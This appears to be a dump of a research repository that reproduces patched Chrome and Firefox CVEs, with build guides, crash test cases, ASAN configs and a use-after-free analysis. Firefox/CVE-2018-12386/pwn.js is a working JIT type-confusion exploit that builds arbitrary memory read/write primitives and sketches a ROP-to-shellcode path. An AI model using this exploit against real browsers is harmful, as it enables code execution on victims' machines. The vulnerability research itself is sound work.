├── .DS_Store ├── Chrome ├── .DS_Store ├── CVE-2018-18337 │ ├── crash.html │ └── empty.css ├── CVE-2018-6060 │ └── crash.html ├── CVE-2018-6123 │ └── crash.html ├── CVE-2019-5786 │ ├── crash.html │ └── crash2.html ├── CVE-2019-5805 │ ├── crash.html │ └── pattern3.pdf ├── CVE-2019-5808 │ ├── animimg.svg │ └── crash.html └── README.md ├── Firefox ├── .DS_Store ├── CVE-2017-7784 │ ├── .DS_Store │ ├── 1px.png │ ├── crash.html │ └── data.html ├── CVE-2017-7828 │ ├── .DS_Store │ ├── README.md │ ├── crash.html │ ├── exploit.html │ ├── images │ │ ├── .DS_Store │ │ ├── crash.png │ │ ├── image1.png │ │ ├── image2.png │ │ ├── image3.png │ │ ├── image4.png │ │ └── image5.png │ ├── mozconfig │ ├── scripts.html │ └── user.js ├── CVE-2018-12386 │ ├── .DS_Store │ ├── README.md │ ├── crash.js │ └── pwn.js ├── CVE-2018-12387 │ ├── .DS_Store │ ├── README.md │ ├── crash.html │ └── crash.js ├── CVE-2018-18492 │ ├── .DS_Store │ ├── README.md │ ├── crash.html │ ├── images │ │ ├── .DS_Store │ │ ├── crash.png │ │ ├── image1.png │ │ ├── image2.png │ │ ├── image3.png │ │ ├── image4.png │ │ └── image5.png │ ├── mozconfig │ └── user.js ├── CVE-2018-5093 │ ├── .DS_Store │ ├── README.md │ └── crash.html ├── CVE-2018-5094 │ ├── .DS_Store │ ├── README.md │ ├── crash.html │ └── crash.js ├── CVE-2018-5097 │ ├── .DS_Store │ ├── README.md │ ├── crash.html │ ├── ctop.xsl │ ├── math.xml │ ├── mathml.xsl │ └── pmathml.xsl ├── CVE-2018-5100 │ ├── .DS_Store │ ├── README.md │ ├── crash.html │ ├── images │ │ ├── .DS_Store │ │ ├── crash.png │ │ ├── image1.png │ │ └── image2.png │ ├── mozconfig │ └── user.js ├── CVE-2018-5102 │ ├── .DS_Store │ ├── README.md │ ├── crash.html │ └── image1.png ├── CVE-2018-5104 │ ├── .DS_Store │ ├── README.md │ ├── crash.html │ └── images │ │ ├── .DS_Store │ │ ├── 1.png │ │ ├── 2.png │ │ ├── 3.png │ │ └── code.png ├── CVE-2018-5127 │ ├── .DS_Store │ ├── README.md │ └── crash.html ├── CVE-2018-5129 │ ├── README.md │ └── oob.html ├── CVE-2019-11707 │ ├── .DS_Store │ ├── README.md │ ├── crash.js │ ├── exploit.js │ └── index.html ├── CVE-2019-9791 │ ├── .DS_Store │ ├── README.md │ ├── crash.js │ └── exploit.js ├── CVE-2019-9813 │ ├── .DS_Store │ ├── README.md │ └── crash.js ├── README.md ├── mozconfig ├── mozconfig_dbg ├── others │ ├── .DS_Store │ ├── CVE-2017-7802 │ │ └── crash.html │ ├── CVE-2017-7806 │ │ ├── .DS_Store │ │ ├── 05crab.svg │ │ ├── crash.html │ │ └── data.html │ ├── CVE-2017-7809 │ │ └── crash.html │ ├── CVE-2017-7818 │ │ └── crash.html │ ├── CVE-2017-7819 │ │ ├── .DS_Store │ │ ├── crash.html │ │ ├── crash.xml │ │ ├── crash.xsl │ │ └── text.html │ ├── CVE-2018-18500 │ │ ├── .DS_Store │ │ ├── crash.html │ │ └── server.py │ ├── CVE-2018-5091 │ │ ├── .DS_Store │ │ └── crash.html │ ├── CVE-2018-5098 │ │ ├── .DS_Store │ │ ├── crash.html │ │ └── data.html │ ├── CVE-2018-5099 │ │ ├── crash.html │ │ └── data.html │ ├── CVE-2018-5101 │ │ └── crash.html │ ├── CVE-2018-5103 │ │ └── crash.html │ ├── CVE-2018-5128 │ │ └── crash.html │ ├── CVE-2018-5154 │ │ ├── .DS_Store │ │ ├── crash.html │ │ └── test.svg │ └── CVE-2019-9810 │ │ ├── .DS_Store │ │ ├── README.md │ │ └── overflow.js └── troubleshooting.md └── README.md /.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZihanYe/web-browser-vulnerabilities/ce0cef3971119d7916c7170c3ec377b0b3a000ac/.DS_Store -------------------------------------------------------------------------------- /Chrome/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZihanYe/web-browser-vulnerabilities/ce0cef3971119d7916c7170c3ec377b0b3a000ac/Chrome/.DS_Store -------------------------------------------------------------------------------- /Chrome/CVE-2018-18337/crash.html: -------------------------------------------------------------------------------- 1 | 28 | 29 | -------------------------------------------------------------------------------- /Chrome/CVE-2018-18337/empty.css: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZihanYe/web-browser-vulnerabilities/ce0cef3971119d7916c7170c3ec377b0b3a000ac/Chrome/CVE-2018-18337/empty.css -------------------------------------------------------------------------------- /Chrome/CVE-2018-6060/crash.html: -------------------------------------------------------------------------------- 1 | 84 | 85 | -------------------------------------------------------------------------------- /Chrome/CVE-2018-6123/crash.html: -------------------------------------------------------------------------------- 1 | 9 | -------------------------------------------------------------------------------- /Chrome/CVE-2019-5786/crash.html: -------------------------------------------------------------------------------- 1 | 31 | -------------------------------------------------------------------------------- /Chrome/CVE-2019-5786/crash2.html: -------------------------------------------------------------------------------- 1 | 62 | -------------------------------------------------------------------------------- /Chrome/CVE-2019-5805/crash.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 9 | 10 | 11 | 12 | -------------------------------------------------------------------------------- /Chrome/CVE-2019-5805/pattern3.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZihanYe/web-browser-vulnerabilities/ce0cef3971119d7916c7170c3ec377b0b3a000ac/Chrome/CVE-2019-5805/pattern3.pdf -------------------------------------------------------------------------------- /Chrome/CVE-2019-5808/animimg.svg: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | to="M300.25,134.69Q302.06,131.62 303.19,125.31 Q302.81,118.88 300.12,111.94 Q297.81,105.62 293.75,100.56 Q289.69,95.38 283.50,91.88 Q277.38,88.06 268.56,87.12 Q257.50,86.94 247.44,89.50 Q239.88,92.00 236.06,95.75 Q230.06,100.50 229.88,102.69 Q233.00,101.44 241.38,98.69 Q248.69,98.19 256.00,99.44 Q262.00,100.62 267.06,102.44 Q272.75,103.31 277.62,105.50 Q281.50,108.56 285.44,113.62 Q291.62,120.06 295.88,124.56 " /> to="M305.50,136.88Q307.88,133.38 312.75,128.88 Q317.56,125.75 322.56,124.81 Q327.00,123.81 330.44,125.38 Q333.88,126.75 335.94,131.25 Q338.06,135.50 337.94,144.12 Q336.94,155.31 334.00,167.06 Q331.25,176.19 328.06,182.12 Q323.88,190.75 322.25,192.19 Q323.44,188.25 326.38,178.25 Q327.50,170.38 327.38,163.62 Q327.06,158.00 326.25,153.81 Q326.19,148.38 325.12,144.56 Q323.19,142.19 319.81,140.94 Q315.50,137.94 312.62,135.88 " /> 8 | 9 | 10 | 11 | -------------------------------------------------------------------------------- /Chrome/CVE-2019-5808/crash.html: -------------------------------------------------------------------------------- 1 | 23 | 24 | -------------------------------------------------------------------------------- /Chrome/README.md: -------------------------------------------------------------------------------- 1 | # Reproducing Chrome vulnerabilities 2 | 3 | [Build](#build) 4 | 5 | [Run](#run) 6 | 7 | [Debug](#debug) 8 | 9 | ## Build 10 | 11 | ### Existing builds 12 | 13 | Chrome has asan linux builds that can be used without building. If a vulnerability is known to be reproducable in a version of asan linux build, download directly using **gsutil**: 14 | 15 | - install [gsutil](https://cloud.google.com/storage/docs/gsutil_install#sdk-install) 16 | 17 | - copy an asan linux release build: 18 | 19 | ```gsutil cp gs://chromium-browser-asan/linux-release/asan-linux-release-.zip``` 20 | 21 | 22 | ### Own builds 23 | 24 | :point_right: [Tutorial](https://chromium.googlesource.com/chromium/src/+/master/docs/linux/build_instructions.md) 25 | 26 | #### 0. (First time only) install depot tool 27 | 28 | ``` 29 | git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git 30 | ``` 31 | 32 | add path of depot tool to $PATH, e.g. ```export PATH="$PATH:${HOME}/depot_tools"``` 33 | 34 | #### 1. get the code 35 | 36 | ``` 37 | mkdir ~/chromium && cd ~/chromium 38 | fetch --nohooks chromium 39 | ``` 40 | 41 | To [checkout whatever version you need](http://www.chromium.org/developers/how-tos/get-the-code/working-with-release-branches): 42 | ``` 43 | git fetch --tags 44 | git checkout refs/tags/ 45 | gclient sync --with_branch_heads --with_tags 46 | ``` 47 | 48 | #### 2. build dependency 49 | ``` 50 | cd src 51 | ./build/install-build-deps.sh 52 | gclient runhooks 53 | ``` 54 | 55 | #### 3. configuration 56 | ``` 57 | gn args out/ 58 | ``` 59 | then enter configurations. For example, for an [asan build](https://chromium.googlesource.com/chromium/src/+/HEAD/docs/asan.md): 60 | ``` 61 | is_asan= true 62 | is_debug = false 63 | ``` 64 | 65 | #### 4. build 66 | ``` 67 | autoninja -C out/ chrome 68 | ``` 69 | 70 | Other component can be built instead of chrome. For example, if just to build content shell: ```autoninja -C out/ content_shell``` 71 | 72 | 73 | ## Run 74 | 75 | In build directory, run ```./chrome []``` (or the component you built) 76 | 77 | A list of flags available :point_right: [:link:](https://peter.sh/experiments/chromium-command-line-switches/) 78 | 79 | ### headless chrome 80 | 81 | [Headless chrome](https://developers.google.com/web/updates/2017/04/headless-chrome) is supported: 82 | 83 | run ```./chrome --no-sandbox --headless --disable-gpu ```. 84 | 85 | ### run with asan 86 | 87 | set asan flags: ``` export ASAN_OPTIONS="symbolize=1 external_symbolizer_path=../../third_party/llvm-build/Release+Asserts/bin/llvm-symbolizer detect_leaks=0 detect_odr_violation=0"``` 88 | 89 | then run as normal. 90 | 91 | ### trouble shooting 92 | 93 | 1. **run in remote server without a display** 94 | 95 | use xvfb: 96 | ``` 97 | sudo Xvfb :10 -ac 98 | export DISPLAY=:10 99 | ``` 100 | 101 | 2. WARNING:discardable_shared_memory_manager.cc(188)] Less than 64MB of free space in temporary directory for shared memory files: 60 102 | 103 | use flag: --disable-dev-shm-usage 104 | 105 | 3. **Failed to connect to the bus**: Failed to connect to socket /var/run/dbus/system_bus_socket: No such file or directory 106 | 107 | check if there is ```system_bus_socket``` in ```/var/run/dbus/```, if not: 108 | 109 | ``` 110 | sudo /etc/init.d/dbus restart 111 | ``` 112 | 113 | and check again. ([:link:](https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=444668)) 114 | 115 | 116 | ## Debug 117 | 118 | :point_right: [tutorial](https://chromium.googlesource.com/chromium/src/+/81c0fc6d4/docs/linux_debugging.md) 119 | 120 | :point_right: [debug blink](https://www.chromium.org/blink/getting-started-with-blink-debugging) 121 | 122 | To debug renderer: 123 | 124 | ``` 125 | ./content_shell --no-sandbox --renderer-startup-dialog --headless --disable-gpu /path/to/html 126 | ``` 127 | 128 | This will pause the renderer. Attach the renderer process to gdb: 129 | 130 | ``` 131 | gdb -p 132 | ``` 133 | 134 | To continue the render, send signal in gdb: ```signal SIGUSR1``` 135 | -------------------------------------------------------------------------------- /Firefox/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZihanYe/web-browser-vulnerabilities/ce0cef3971119d7916c7170c3ec377b0b3a000ac/Firefox/.DS_Store -------------------------------------------------------------------------------- /Firefox/CVE-2017-7784/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZihanYe/web-browser-vulnerabilities/ce0cef3971119d7916c7170c3ec377b0b3a000ac/Firefox/CVE-2017-7784/.DS_Store -------------------------------------------------------------------------------- /Firefox/CVE-2017-7784/1px.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZihanYe/web-browser-vulnerabilities/ce0cef3971119d7916c7170c3ec377b0b3a000ac/Firefox/CVE-2017-7784/1px.png -------------------------------------------------------------------------------- /Firefox/CVE-2017-7784/crash.html: -------------------------------------------------------------------------------- 1 | 34 | 35 | -------------------------------------------------------------------------------- /Firefox/CVE-2017-7784/data.html: -------------------------------------------------------------------------------- 1 |
-------------------------------------------------------------------------------- /Firefox/CVE-2017-7828/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZihanYe/web-browser-vulnerabilities/ce0cef3971119d7916c7170c3ec377b0b3a000ac/Firefox/CVE-2017-7828/.DS_Store -------------------------------------------------------------------------------- /Firefox/CVE-2017-7828/README.md: -------------------------------------------------------------------------------- 1 | # CVE-2017-7828 2 | 3 | A use-after-free vulnerability can occur when flushing and resizing layout because the "PressShell" object has been freed while still in use. This results in a potentially exploitable crash during these operations. This vulnerability affects Firefox < 57, Firefox ESR < 52.5, and Thunderbird < 52.5. 4 | 5 | ## Firefox 6 | 7 | I tested this vulnerability with Firefox 56.0 ASAN build downloaded from [here](https://ftp.mozilla.org/pub/firefox/releases/56.0/source/). The mozconfig I used is [here](https://github.com/ZihanYe/Firefox-Exploitation/blob/master/Manual%20Exploitation/CVE-2017-7828/mozconfig). 8 | 9 | To build it, I had to downgrade my rust to 1.19.0 according to [Firefox's Rust Update policy](https://wiki.mozilla.org/Rust_Update_Policy_for_Firefox). 10 | 11 | In order for making Firefox opening the PoC file without any other disruption, I used some customized preferences. Preferences can be set in ```about:config``` page in Firefox by searching for preferences listed in [user.js](https://github.com/ZihanYe/Firefox-Exploitation/blob/master/Manual%20Exploitation/CVE-2017-7828/user.js), or if you are running Firefox in headless mode (```--headless```), then create a new profile like this: 12 | 13 | ``` 14 | mkdir -p /path/to/firefox/build/directory/tmp/customized_profile 15 | ``` 16 | and move [user.js]() under the new profile folder. 17 | 18 | Run firefox with options ```--headless --no-remote --profile /path/to/the/profile/folder/just/created file:///path/to/crash.html``` 19 | 20 | ## PoC 21 | 22 | It involves free of an ```PresShell``` object leading to a dangling pointer within an ```nsComputedDOMStyle``` object and ```nsIFrame``` object. 23 | 24 | ![](images/crash.png) 25 | 26 | Inside ```start``` function, an HTMLIFrameElement ```o243``` is added with source inside ```script.html```. It executes an XBL script which calls ```fun2```. In Line 28, ```fun3``` is registered as the callback function when content window resizes. 27 | 28 | Afterwards, during loading of the window, ```GetPropertyCSSValue``` gets executed and everything happens within that context. 29 | 30 | ## Where mPresShell is freed 31 | 32 | At some point ```nsComputedDOMStyle::GetPropertyCSSValue``` in ```nsComputedDOMStyle.cpp``` is executed: 33 | 34 | ![](images/image2.png) 35 | **Figure 1: GetPropertyCSSValue** 36 | 37 | In Line 1028, it calls ```nsComputedDOMStyle::UpdateCurrentStyleSources```: 38 | 39 | ![](images/image1.png) 40 | 41 | In Line 828 inside ```UpdateCurrentStyleSources```, ```mPresShell``` of this ```nsComputedDOMStyle``` object is set to ```document->GetShell()```. Then in the same function, it calls ```nsComputedDOMStyle::GetStyleContext``` which result in the following stack trace: 42 | 43 | ![](images/image3.png) 44 | 45 | ```FireResizeEvent``` is called, which triggers the callback function (```fun3```) registered in PoC. Within the callback function, the ```PressShell``` object is freed. 46 | 47 | ![](images/image4.png) 48 | 49 | Upon returning to the original context of the ```nsComputedDOMStyle``` object, it does not know ```mPresShell``` has been freed. 50 | 51 | ## Where the dangling pointer is dereferenced 52 | 53 | The PoC then returns to ```nsComputedDOMStyle::GetPropertyCSSValue``` (see Figure 1), in Line 1039, 54 | 55 | ```val = (this->*getter)();```, where the getter points to ```DoGetWidth()```: 56 | 57 | ![](images/image5.png) 58 | 59 | Within ```nsComputedDOMStyle::DoGetWidth```, it calls ```mInnerFrame->GetContentRect()``` 60 | 61 | ```mInnerFrame``` is an instance of ```mozilla::nsIFrame```. It can access a ```PresContext``` object which contains freed ```PresShell``` object. Then within its method, it uses the ```PresShell``` object, which causes ASAN to report. 62 | 63 | The PoC then crashes with the following stack trace: 64 | 65 | ``` 66 | #0 0x7f43f69ce18c in nsIFrame::GetUsedBorderAndPadding() const /home/ug16zy2/firefox-56.0/layout/generic/nsIFrame.h:1301:12 67 | #1 0x7f43f69ce18c in nsIFrame::GetContentRectRelativeToSelf() const /home/ug16zy2/firefox-56.0/layout/generic/nsFrame.cpp:1434 68 | #2 0x7f43f69ce18c in nsIFrame::GetContentRect() const /home/ug16zy2/firefox-56.0/layout/generic/nsFrame.cpp:1444 69 | #3 0x7f43f64e612d in nsComputedDOMStyle::DoGetWidth() /home/ug16zy2/firefox-56.0/layout/style/nsComputedDOMStyle.cpp:5106:35 70 | #4 0x7f43f64b1a12 in nsComputedDOMStyle::GetPropertyCSSValue(nsAString const&, mozilla::ErrorResult&) /home/ug16zy2/firefox-56.0/layout/style/nsComputedDOMStyle.cpp:1039:11 71 | ``` 72 | 73 | ## Exploitation 74 | We can of cause exploit dereferences happening after the callback and before ```nsComputedDOMStyle::GetPropertyCSSValue``` returns but it is really limited. As the dangling pointer is ```mPresShell``` of an ```nsComputedDOMStyle``` object, I am not sure whether it can be used again under our control (with JS code) if we manage to avoid crashing before parser takes next line of JS code. 75 | 76 | 77 | ## Reference 78 | 79 | [Bug Report](https://bugzilla.mozilla.org/show_bug.cgi?id=1406750) -------------------------------------------------------------------------------- /Firefox/CVE-2017-7828/crash.html: -------------------------------------------------------------------------------- 1 | 35 | 36 | -------------------------------------------------------------------------------- /Firefox/CVE-2017-7828/exploit.html: -------------------------------------------------------------------------------- 1 | 87 | 88 | -------------------------------------------------------------------------------- /Firefox/CVE-2017-7828/images/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZihanYe/web-browser-vulnerabilities/ce0cef3971119d7916c7170c3ec377b0b3a000ac/Firefox/CVE-2017-7828/images/.DS_Store -------------------------------------------------------------------------------- /Firefox/CVE-2017-7828/images/crash.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZihanYe/web-browser-vulnerabilities/ce0cef3971119d7916c7170c3ec377b0b3a000ac/Firefox/CVE-2017-7828/images/crash.png -------------------------------------------------------------------------------- /Firefox/CVE-2017-7828/images/image1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZihanYe/web-browser-vulnerabilities/ce0cef3971119d7916c7170c3ec377b0b3a000ac/Firefox/CVE-2017-7828/images/image1.png -------------------------------------------------------------------------------- /Firefox/CVE-2017-7828/images/image2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZihanYe/web-browser-vulnerabilities/ce0cef3971119d7916c7170c3ec377b0b3a000ac/Firefox/CVE-2017-7828/images/image2.png -------------------------------------------------------------------------------- /Firefox/CVE-2017-7828/images/image3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZihanYe/web-browser-vulnerabilities/ce0cef3971119d7916c7170c3ec377b0b3a000ac/Firefox/CVE-2017-7828/images/image3.png -------------------------------------------------------------------------------- /Firefox/CVE-2017-7828/images/image4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZihanYe/web-browser-vulnerabilities/ce0cef3971119d7916c7170c3ec377b0b3a000ac/Firefox/CVE-2017-7828/images/image4.png -------------------------------------------------------------------------------- /Firefox/CVE-2017-7828/images/image5.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZihanYe/web-browser-vulnerabilities/ce0cef3971119d7916c7170c3ec377b0b3a000ac/Firefox/CVE-2017-7828/images/image5.png -------------------------------------------------------------------------------- /Firefox/CVE-2017-7828/mozconfig: -------------------------------------------------------------------------------- 1 | mk_add_options MOZ_OBJDIR=@TOPSRCDIR@/objdir-ff-asan 2 | 3 | export LLVM_CONFIG="/usr/bin/llvm-config" 4 | 5 | # Enable ASan specific code and build workarounds 6 | ac_add_options --enable-address-sanitizer 7 | 8 | export CC=/usr/bin/clang 9 | export CXX=/usr/bin/clang++ 10 | 11 | # Add ASan to our compiler flags 12 | export CFLAGS="-fsanitize=address -Dxmalloc=myxmalloc -fPIC" 13 | export CXXFLAGS="-fsanitize=address -Dxmalloc=myxmalloc -fPIC" 14 | 15 | export LDFLAGS="-fsanitize=address" 16 | 17 | # These three are required by ASan 18 | ac_add_options --disable-jemalloc 19 | ac_add_options --disable-crashreporter 20 | ac_add_options --disable-elf-hack 21 | 22 | # Keep symbols to symbolize ASan traces later 23 | export MOZ_DEBUG_SYMBOLS=1 24 | ac_add_options --enable-debug-symbols 25 | ac_add_options --disable-install-strip 26 | 27 | ac_add_options --enable-optimize=-O2 28 | ac_add_options --disable-debug 29 | 30 | ac_add_options --disable-profiling 31 | ac_add_options --enable-tests 32 | 33 | # fuzzing 34 | ac_add_options --enable-fuzzing 35 | -------------------------------------------------------------------------------- /Firefox/CVE-2017-7828/scripts.html: -------------------------------------------------------------------------------- 1 | 2 | 5 | 8 | 11 | 14 | -------------------------------------------------------------------------------- /Firefox/CVE-2017-7828/user.js: -------------------------------------------------------------------------------- 1 | user_pref("browser.shell.checkDefaultBrowser", false); 2 | user_pref("general.warnOnAboutConfig", false); 3 | user_pref("fuzzing.enabled", true); 4 | user_pref("browser.tabs.remote.autostart", false); 5 | user_pref("browser.tabs.remote.autostart.2", false); 6 | user_pref("security.sandbox.content.level", 1); 7 | user_pref("toolkit.startup.max_resumed_crashes", -1); 8 | user_pref("browser.startup.page", 0); 9 | user_pref("browser.shell.checkDefaultBrowser", false); 10 | user_pref("browser.sessionstore.resume_from_crash", false); 11 | user_pref("browser.tabs.warnOnOpen", false); 12 | user_pref("browser.tabs.warnOnClose", false); 13 | user_pref("security.insecure_field_warning.contextual.enabled", false); 14 | user_pref("security.insecure_password.ui.enabled", false); -------------------------------------------------------------------------------- /Firefox/CVE-2018-12386/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZihanYe/web-browser-vulnerabilities/ce0cef3971119d7916c7170c3ec377b0b3a000ac/Firefox/CVE-2018-12386/.DS_Store -------------------------------------------------------------------------------- /Firefox/CVE-2018-12386/README.md: -------------------------------------------------------------------------------- 1 | # CVE-2018-12386 2 | 3 | ## Firefox RCE from Hack2Win 4 | 5 | **Firefox version verified with:** 57.0 6 | 7 | **Type:** Type confusion -> RCE 8 | 9 | Steps to reproduce: 10 | 11 | - run ```gdb --args ./js/src/build_DBG.OBJ/dist/bin/js --no-threads --fuzzing-safe ../CVE-2018-12386/crash.js``` 12 | 13 | It gives an assetion failure with debug build of js shell: 14 | 15 | ``` 16 | Assertion failure: *def->output() != alloc, at /home/clover/firefox-57.0/js/src/jit/RegisterAllocator.cpp:222 17 | 18 | Thread 1 "js" received signal SIGSEGV, Segmentation fault. 19 | 20 | ``` 21 | 22 | Exploitation: 23 | 24 | R/W primitive: 25 | 26 | (with a debug build of js shell) 27 | 28 | - run ```gdb --args ./js/src/build_OPT.OBJ/dist/bin/js --no-threads --fuzzing-safe ../CVE-2018-12386/pwn.js``` 29 | 30 | 31 | Reference 32 | 33 | [1] https://bugzilla.mozilla.org/show_bug.cgi?id=1493900 -------------------------------------------------------------------------------- /Firefox/CVE-2018-12386/crash.js: -------------------------------------------------------------------------------- 1 | // Generate objects with inline properties 2 | for (var i = 0; i < 100; i++) 3 | var o1 = {s: "asdf", x: new Uint8Array(0x20)}; 4 | for (var i = 0; i < 100; i++) 5 | var o2 = {s: "asdf", y: 13.37}; 6 | 7 | function f(a, b) { 8 | let p = b; 9 | for (; p.s < 0; p = p.s) 10 | while (p === p) {} 11 | for (var i = 0; i < 10000000; ++i) {} //JIT compilation 12 | 13 | /* 14 | This code will be compiled such that in the last statement, when the inline property 15 | x of a is accessed, it will actually access the inline property y of b due to the 16 | register misallocation and the fact that x and y are stored at the same offset in the 17 | objects 18 | */ 19 | // JIT thinks it returns a Uint8Array, but actually returns a double 20 | return a.x; 21 | } 22 | 23 | f(o1, o2); 24 | f(o1, o2); 25 | res = f(o1,o2); 26 | console.log(res[0]); -------------------------------------------------------------------------------- /Firefox/CVE-2018-12386/pwn.js: -------------------------------------------------------------------------------- 1 | var convert = new ArrayBuffer(0x100); 2 | var u32 = new Uint32Array(convert); 3 | var f64 = new Float64Array(convert); 4 | 5 | var BASE = 0x100000000; 6 | 7 | function hex(x) { 8 | return `0x${x.toString(16)}` 9 | } 10 | 11 | function bytes_to_u64(bytes) { 12 | return (bytes[0]+bytes[1]*0x100+bytes[2]*0x10000+bytes[3]*0x1000000 13 | +bytes[4]*0x100000000+bytes[5]*0x10000000000); 14 | } 15 | 16 | function i2f(x) { 17 | u32[0] = x % BASE; 18 | u32[1] = (x - (x % BASE)) / BASE; 19 | return f64[0]; 20 | } 21 | 22 | function f2i(x) { 23 | f64[0] = x; 24 | return u32[0] + BASE * u32[1]; 25 | } 26 | 27 | function fail(msg) { 28 | print("FAIL " + msg); 29 | throw null; 30 | } 31 | 32 | function setup() { 33 | var container = {a: {}}; 34 | var master = new Float64Array(0x100); 35 | var victim = new Uint8Array(0x100); 36 | 37 | var objs = []; 38 | for (var i = 0; i < 100; i++) { 39 | let x = {x: 13.37, y:victim, z:container}; 40 | objs[i] = {x: 'asd', p1: {}, p2: {}, p3: {}, p4: x, p5: x, p6: {}}; 41 | } 42 | var o = objs[0]; 43 | var a = new Float64Array(1024); 44 | 45 | function f(a, b) { 46 | let p = b; 47 | for (; p.x < 0; p = p.x) 48 | while (p === p) {} 49 | for (var i = 0; i < 10000000; ++i){ } 50 | if (action==1) { 51 | victim_addr_f = a[3]; 52 | container_addr_f = a[4]; 53 | } else { 54 | a[7] = victim_addr_f; 55 | } 56 | } 57 | 58 | action = 1; 59 | for (var j = 0; j < 5; ++j) 60 | f(a, o); 61 | 62 | var victim_addr = f2i(victim_addr_f); 63 | var container_addr = f2i(container_addr_f); 64 | //print('victim @ ' + hex(victim_addr) + ' / container @ ' + hex(container_addr)); 65 | 66 | var objs = []; 67 | for (var i = 0; i < 100; i++) { 68 | objs[i] = {x: 'asd', p1: {}, p2: {}, p3: {}, p4: {}, p5: master}; 69 | } 70 | var o = objs[0]; 71 | 72 | action = 2; 73 | for (var j = 0; j < 5; ++j) 74 | f(a, o); 75 | 76 | function set_addr(where) { 77 | master[7] = i2f(where); 78 | } 79 | 80 | function read64(where) { 81 | set_addr(where); 82 | var res = 0; 83 | for (var i = 7; i >= 0; --i) { 84 | res = res*0x100 + victim[i]; 85 | } 86 | return res; 87 | } 88 | 89 | function read48(where) { 90 | set_addr(where); 91 | var res = 0; 92 | for (var i = 5; i >= 0; --i) { 93 | res = res*0x100 + victim[i]; 94 | } 95 | return res; 96 | } 97 | 98 | function write64(where, what) { 99 | set_addr(where); 100 | for (var i = 0; i < 8; ++i) { 101 | victim[i] = what%0x100; 102 | what = (what-what%0x100)/0x100; 103 | } 104 | } 105 | 106 | function addrof2(x) { 107 | container.a = x; 108 | return read48(container_addr + 0x20); 109 | } 110 | 111 | function check() { 112 | print('master/victim: ' + hex(addrof2(master)) + ' ' + hex(addrof2(victim))); 113 | } 114 | 115 | function test() { 116 | var x = {x:0x1337}; 117 | print(addrof2(x)+0x20); 118 | if (read48(addrof2(x)+0x20)%0x10000 != 0x1337) { 119 | check(); 120 | fail("R/W does not work"); 121 | } else 122 | print("R/W works!") 123 | } 124 | 125 | function crash() { 126 | var x = 1.384706273005e-312; // 0x0000004141414141 127 | var ix = f2i(x); 128 | read48(ix); 129 | } 130 | 131 | return { 132 | addrof: addrof2, 133 | read64: read64, 134 | write64: write64, 135 | read48: read48, 136 | check: check, 137 | test: test, 138 | crash: crash, 139 | }; 140 | } 141 | 142 | function pwn() { 143 | var mem = setup(); 144 | // r/w primitive 145 | mem.test(); 146 | // read mem 0x0000004141414141 147 | mem.crash(); // crash 148 | } 149 | 150 | pwn(); 151 | 152 | 153 | /* 154 | For RCE, a DOM object with a vtable is then corrupted and a virtual function called 155 | on it. From there a small ROP chain is triggered which loads the shellcode and 156 | jumps into it 157 | */ 158 | -------------------------------------------------------------------------------- /Firefox/CVE-2018-12387/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZihanYe/web-browser-vulnerabilities/ce0cef3971119d7916c7170c3ec377b0b3a000ac/Firefox/CVE-2018-12387/.DS_Store -------------------------------------------------------------------------------- /Firefox/CVE-2018-12387/README.md: -------------------------------------------------------------------------------- 1 | # CVE-2018-12387 2 | 3 | ## Infoleak bug from Hack2Win 4 | 5 | **Firefox version verified with:** 57.0 (ASAN build) 6 | 7 | ## Crash: 8 | 9 | run ```./mach run --debug --disable-e10s --ion-eager ../CVE-2018-12387/crash.html``` 10 | 11 | gives: 12 | 13 | ``` 14 | ==2407==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000009 (pc 0x7fffe55b4feb bp 0x7ffffffe60f0 sp 0x7ffffffe5d60 T0) 15 | ==2407==The signal is caused by a READ memory access. 16 | ==2407==Hint: address points to the zero page. 17 | #0 0x7fffe55b4fea in JSObject::getClass() const /home/clover/firefox-57.0/js/src/jsobj.h:104 18 | #1 0x7fffe55b4fea in JSObject::getOpsGetProperty() const /home/clover/firefox-57.0/js/src/jsobj.h:116 19 | #2 0x7fffe55b4fea in js::GetProperty(JSContext*, JS::Handle, JS::Handle, JS::Handle, JS::MutableHandle) /home/clover/firefox-57.0/js/src/vm/NativeObject.h:1588 20 | 21 | ``` 22 | 23 | ## Exploitation 24 | 25 | According to https://bugzilla.mozilla.org/show_bug.cgi?id=1493903 26 | This can lead to a info leak exploitation that gets XUL base address, stack and heap addresses. 27 | 28 | 29 | Reference: 30 | 31 | [1] https://ssd-disclosure.com/archives/3766 32 | 33 | [2] https://bugzilla.mozilla.org/show_bug.cgi?id=1493903 34 | -------------------------------------------------------------------------------- /Firefox/CVE-2018-12387/crash.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | -------------------------------------------------------------------------------- /Firefox/CVE-2018-12387/crash.js: -------------------------------------------------------------------------------- 1 | function f(o) { 2 | var a = [o]; 3 | a.length = a[0]; 4 | var useless = function() { 5 | } 6 | var sz = Array.prototype.push.call(a, 42, 43); 7 | (function(){ 8 | sz; 9 | })(new Boolean(false)); 10 | } 11 | for (var i = 0; i < 25000; i++) { 12 | f(1); 13 | } 14 | f(2); -------------------------------------------------------------------------------- /Firefox/CVE-2018-18492/.DS_Store: -------------------------------------------------------------------------------- 